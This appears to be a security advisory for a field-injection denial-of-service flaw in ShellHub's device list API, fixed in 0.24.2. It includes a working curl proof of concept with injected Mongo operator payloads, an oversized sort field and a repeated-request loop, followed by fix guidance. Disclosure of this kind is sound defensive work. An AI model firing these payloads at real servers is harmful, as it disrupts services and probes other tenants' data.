github.com/shellhub-io/shellhub
Affected
- introduced
0, fixed0.24.2(semver)
Fixed versions
0.24.2
Fix
- Fixed version
0.24.2go get github.com/shellhub-io/[email protected]
Advisory
Also known as: CVE-2026-44425, GO-2026-5113
ShellHub has crash-DoS via field injection in filter and sort-by parameters
Summary
The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:
name field of each filter property in the base64-encoded filter query parameter.sort_by query parameter.Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.
Severity
CVSS 3.1: 6.5 (Medium)
CWE-20 (Improper Input Validation)
CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
Affected versions
ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (api/store/mongo/query-options.go).
Root cause
Vector 1 — Filter field name
api/store/mongo/query-options.go:140:
conditions = append(conditions, bson.M{param.Name: property})
param.Name is the name field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names ($where, $ne, $or, $regex) and virtual pipeline-computed fields (namespace, paths containing $) to be injected.
Vector 2 — Sort-by field
Similar pattern in the sort pipeline where the sort_by query parameter is used to build bson.M{"$sort": {sortBy: order}} without validation.
Additional observationfromContains (api/store/mongo/internal/filters.go:60-69) passes user input directly as $regex value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.
func fromContains(value interface{}) (bson.M, error) {
switch value.(type) {
case string:
return bson.M{"$regex": value, "$options": "i"}, nil
Proof of concept (validated live against v0.24.1)
TOKEN=<valid-user-jwt>
# Helper: base64-encode a filter payload
encode_filter() {
python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1"
}
# --- Vector 1: filter field injection ---
# Baseline: legitimate filter -> 200
F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=200
# Exploit 1a: Mongo operator as field name
F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 1b: nested object as value
F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 1c: pipeline-computed field as filter name
F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# --- Vector 2: sort-by injection ---
# Baseline: legitimate sort -> 200
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \
-H "Authorization: Bearer $TOKEN"
# HTTP=200
# Exploit 2a: Mongo operator as sort field
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2b: path containing $
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2c: oversized sort field (no length validation)
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2d: non-indexable internal field
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# --- Repeat to demonstrate no rate limiting ---
for i in $(seq 1 20); do
curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \
-H "Authorization: Bearer $TOKEN"
done
# 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500
Confirmed field values that trigger 500:
$where, $regex, $or, $ne, remote_addr, tenant_id, namespace, any path containing $ after a .$where, _id.$$$, tenant_id, password.hash, overly long stringsObserved response characteristics:
HTTP/1.1 500 Internal Server Error
Content-Length: 0
X-Request-Id: <id> ← logged as error in backend
Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.
Impact
fingerprinting.
$regex value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).Suggested fix
param.Name and sort_by values for each model exposed via filters (device, session, etc.). Reject anything else with HTTP 400.$ - contain $ after a . - contain characters outside [A-Za-z0-9_.] - exceed a reasonable length (e.g., 64 characters)contains/eq/ne operators, reject non-primitive values (objects, arrays of objects).api/store/mongo/query-options.go, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.fromContains, reject regex values longer than N characters or containing nested quantifiers ((...)+, (...)*, (.+)+, etc.) to mitigate ReDoS.Medium Basis: The source's own band: MODERATE
0, fixed 0.24.2 (semver)0.24.2
0.24.2go get github.com/shellhub-io/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0